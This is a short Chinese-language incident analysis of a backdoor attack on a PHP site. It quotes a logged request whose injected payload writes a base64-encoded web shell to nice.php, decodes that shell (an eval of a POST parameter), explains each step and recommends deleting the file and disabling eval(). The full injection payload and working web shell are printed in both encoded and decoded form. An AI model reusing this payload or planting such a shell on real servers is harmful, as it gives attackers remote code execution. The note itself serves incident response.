后门语句:
[ 2021-07-21T02:56:30+08:00 ] 136.144.41.223 GET //index.php?m=--><?=file_put_contents('nice.php',base64_decode("
PD9waHAKY2xhc3MgeHsKICAgIHB1YmxpYyBmdW5jdGlvbiBpcCgpewogICAgICAgICRjPSAiICRfUE9TVFtuaWNlXSI7C
iAgICAgICAgcmV0dXJuICRjOwogICAgfQp9CiRjID0gbmV3IHgoKTsKJGIgPSAkYyAtPiBpcCgpOwpldmFsKCRiKTsKcHJp
bnQobWQ1KCJSaW5nbyIpKTsKPz4="));?>
解析:
#在指定文件下添加内容
file_put_contents()
#解码base64
base64_decode()
#要添加内容的文件
nice.php
#添加的内容
PD9waHAKY2xhc3MgeHsKICAgIHB1YmxpYyBmdW5jdGlvbiBpcCgpewogICAgICAgICRjPSAiICRfUE9TVFtuaWNlXSI7C
iAgICAgICAgcmV0dXJuICRjOwogICAgfQp9CiRjID0gbmV3IHgoKTsKJGIgPSAkYyAtPiBpcCgpOwpldmFsKCRiKTsKcHJp
bnQobWQ1KCJSaW5nbyIpKTsKPz4=
#解码后的添加内容
<?php
class x{
public function ip(){
$c= " $_POST[nice]";
return $c;
}
}
$c = new x();
$b = $c -> ip();
eval($b);
print(md5("Ringo"));
?>
大概意思就是在nice.php文件中添加上方代码
处理方案:
扫出nice.php文件 替换或者删除
屏蔽eval()函数